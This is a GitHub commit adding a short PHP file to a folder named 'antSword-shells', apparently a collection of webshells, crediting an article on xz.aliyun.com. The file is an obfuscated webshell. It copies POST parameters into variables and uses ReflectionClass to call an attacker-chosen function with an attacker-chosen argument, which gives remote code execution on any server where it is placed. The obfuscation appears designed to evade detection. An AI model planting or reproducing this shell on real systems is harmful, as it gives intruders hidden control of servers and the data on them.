add php1.php

from : https://xz.aliyun.com/t/9218
Author: Isabellae
This commit is contained in:
tennc 2021-08-15 16:12:59 +08:00 committed by GitHub
parent 98d73aa5e5
commit 5ab8c018a4
No known key found for this signature in database
GPG key ID: 4AEE18F83AFDEB23

21
antSword-shells/php1.php Normal file
View file

@ -0,0 +1,21 @@
<?php
class Test1
{
public function __construct($para, $_value)
{
$para($_value);
}
}
$class1 = new ReflectionClass("Test1");
foreach (array('_POST') as $_r1) {
foreach ($$_r1 as $_asadasd=>$_wfwefb) {
$$_asadasd =$_wfwefb;
}
}
$class2 = $class1->newInstance($_asadasd, $$_asadasd);